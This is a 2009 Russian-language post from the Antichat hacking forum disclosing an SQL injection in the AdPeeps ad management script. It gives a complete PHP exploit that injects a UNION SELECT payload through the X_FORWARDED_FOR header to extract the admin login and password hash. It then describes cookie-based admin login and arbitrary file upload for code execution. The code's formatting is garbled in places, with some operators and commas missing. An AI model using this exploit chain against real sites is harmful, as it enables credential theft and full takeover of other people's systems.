ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

AdPeeps sql инъекция, выполнение php кода
  #1  
Старый 15.09.2009, 01:43
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию AdPeeps sql инъекция, выполнение php кода

>> Сайт: http://adpeeps.com/
>> Уязвимые версии: 8.5d2d(последняя), 8.5d2c, 8.5d1, возможно и другие.

>> Уязвимость в файле adpeeps.php, не проверяются HTTP заголовок X_FORWARDED_FOR на наличие опасных символов, но участвует в sql запросах.

Вот пример сплойта, который получает логин и хеш админа.
PHP код:
#!/usr/bin/php

<?
//title: Advertisement Management Control Panel
if ($argc 2)
    die(
$argv[0]." <host> <path> [<version>]\n");

$host $argv[1];
$path $argv[2];
$ver  = @$argv[3];

$delimiter "_".substr(md5(rand()),0,5)."_";
$sql "concat('".$delimiter."',(SELECT concat(authname,':',authpasscode) FROM adpeeps_auth WHERE campaignid=0 LIMIT 1),'".$delimiter."')";


function 
SendQuery ($host$query) {
    GLOBAL 
$delimiter;
    
$buff '';

    
$fp fsockopen($host80$errno$errstr10);
    if (!
$fp) {
           echo 
"$errstr ($errno)<br />\n";
        exit;
    } else {
            
fwrite($fp$query);
            while (!
feof($fp))
                
$buff .= fgets($fp128);
    
            
fclose($fp);
    }
    
$result explode($delimiter$buff);
    return 
$result[1];
}

//Определяем версию
if (empty($ver)) {
    
$ver trim(@file_get_contents("http://".$host.$path."version.txt"));
    if (empty(
$ver)) die("Can't define the version\n");
    echo 
"Current version: ".$ver."\n\n";
}


//Выбираем эксплоит
if ($ver == "8.5d2d" || $ver == "8.5d2c") {
    
$ip "X_FORWARDED_FOR:' LEFT JOIN adpeeps_settings AS settings ON 1=2 LEFT JOIN adpeeps_iptocountry AS geo ON 1=2 WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20,21,22,23 #";
} elseif (
$ver == "8.5d1") {
    
$ip .= "X_FORWARDED_FOR:' WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20 #";
} else {
    die(
"Can't find exploit for version ".$ver."\n");
}

//Получаем логин и хеш админа
$query "GET ".$path."adpeeps.php?bfunction=showad&btype=2 HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$query.= "Connection: close\r\n";
$query.= $ip."\r\n\r\n";

echo 
"~> Admin auth info: \n";
$result SendQuery($host$query);
if (empty(
$result)) 
    die(
"Exploit failed\n");

//$authkey = md5($loginname.$loginpassword);
echo $result."\n\n";

?>
>> Вход в админку через cookie:
+ ADPEEPSAUTH=логин:хеш:0

>> Загрузка произвольных файлов в админке по адресу http://site/index.php?loc=define_settings&uid=100000 , поле "Upload your own logo"

После загрузки файла он будет находится:
+ для версии 8.5d2d по адресу http://site/uploaded_banners/100000_logo_имяфайла
+ для версии 8.5d1 по адресу http://site/uploaded_banners/имяфайла
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ